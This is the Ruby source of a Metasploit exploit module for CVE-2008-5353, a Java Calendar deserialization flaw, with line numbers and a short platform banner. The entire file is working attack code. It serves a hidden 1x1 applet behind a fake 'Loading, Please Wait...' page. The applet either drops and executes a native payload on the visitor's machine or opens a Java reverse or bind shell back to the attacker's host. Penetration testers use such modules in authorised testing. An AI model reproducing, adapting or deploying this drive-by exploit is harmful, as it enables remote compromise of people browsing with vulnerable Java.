Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::EXE
11

12
  # Superceded by java_atomicreferencearray
13
  # include Msf::Exploit::Remote::BrowserAutopwn
14
  # autopwn_info({ :javascript => false })
15

16
  def initialize(info = {})
17
    super(
18
      update_info(info,
19
      'Name'          => 'Sun Java Calendar Deserialization Privilege Escalation',
20
      'Description'   => %q{
21
        This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
22

23
        The payload can be either a native payload which is generated as an executable and
24
        dropped/executed on the target or a shell from within the Java applet in the target browser.
25

26
        The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
27
        and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
28
      },
29
      'License'       => MSF_LICENSE,
30
      'Author'        => [ 'sf', 'hdm' ],
31
      'References'    =>
32
      [
33
        [ 'CVE', '2008-5353' ],
34
        [ 'OSVDB', '50500'],
35
        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
36
        [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
37
        [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]
38
      ],
39
      'Platform'      => %w(linux osx solaris win),
40
      'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
41
      'Targets'       =>
42
        [
43
          [ 'Generic (Java Payload)',
44
            {
45
              'Platform' => ['java'],
46
              'Arch' => ARCH_JAVA
47
            }
48
          ],
49
          [ 'Windows x86 (Native Payload)',
50
            {
51
              'Platform' => 'win',
52
              'Arch' => ARCH_X86
53
            }
54
          ],
55
          [ 'Mac OS X PPC (Native Payload)',
56
            {
57
              'Platform' => 'osx',
58
              'Arch' => ARCH_PPC
59
            }
60
          ],
61
          [ 'Mac OS X x86 (Native Payload)',
62
            {
63
              'Platform' => 'osx',
64
              'Arch' => ARCH_X86
65
            }
66
          ],
67
          [ 'Linux x86 (Native Payload)',
68
            {
69
              'Platform' => 'linux',
70
              'Arch' => ARCH_X86
71
            }
72
          ]
73
        ],
74
      'DefaultTarget'  => 0,
75
      'DisclosureDate' => '2008-12-03'
76
      )
77
    )
78
  end
79

80
  def exploit
81
    # load the static jar file
82
    path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")
83
    fd = File.open(path, "rb")
84
    @jar_data = fd.read(fd.stat.size)
85
    fd.close
86

87
    super
88
  end
89

90
  def on_request_uri(cli, request)
91
    data = nil
92
    host = nil
93
    port = nil
94

95
    if !request.uri.match(/\.jar$/i)
96
      if !request.uri.match(/\/$/)
97
        send_redirect(cli, get_resource + '/', '')
98
        return
99
      end
100

101
      print_status("#{name} handling request")
102

103
      payload = regenerate_payload(cli)
104
      if !payload
105
        print_error("Failed to generate the payload.")
106
        return
107
      end
108

109
      if target.name == 'Generic (Java Payload)'
110
        if datastore['LHOST']
111
          jar  = payload.encoded
112
          host = datastore['LHOST']
113
          port = datastore['LPORT']
114
          print_status("Payload will be a Java reverse shell")
115
        else
116
          port = datastore['LPORT']
117
          host = cli.peerhost
118
          print_status("Payload will be a Java bind shell")
119
        end
120
        if jar
121
          print_status("Generated jar to drop (#{jar.length} bytes).")
122
          jar = Rex::Text.to_hex(jar, prefix = "")
123
        else
124
          print_error("Failed to generate the executable.")
125
          return
126
        end
127
      else
128

129
        # NOTE: The EXE mixin automagically handles detection of arch/platform
130
        data = generate_payload_exe
131

132
        print_status("Generated executable to drop (#{data.length} bytes).")
133
        data = Rex::Text.to_hex(data, prefix = "")
134

135
      end
136

137
      send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')
138
      return
139
    end
140

141
    print_status("Sending Applet.jar")
142
    send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")
143

144
    handler(cli)
145
  end
146

147
  def generate_html(data, jar, host, port)
148
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
149
    html += "<body><center><p>Loading, Please Wait...</p></center>"
150
    html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
151
    html += "<param name=\"data\" value=\"#{data}\"/>" if data
152
    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
153
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
154
    html += "<param name=\"lport\" value=\"#{port}\"/>" if port
155
    html += "</applet></body></html>"
156
    html
157
  end
158

159
  def generate_jar
160
    @jar_data
161
  end
162
end
163

164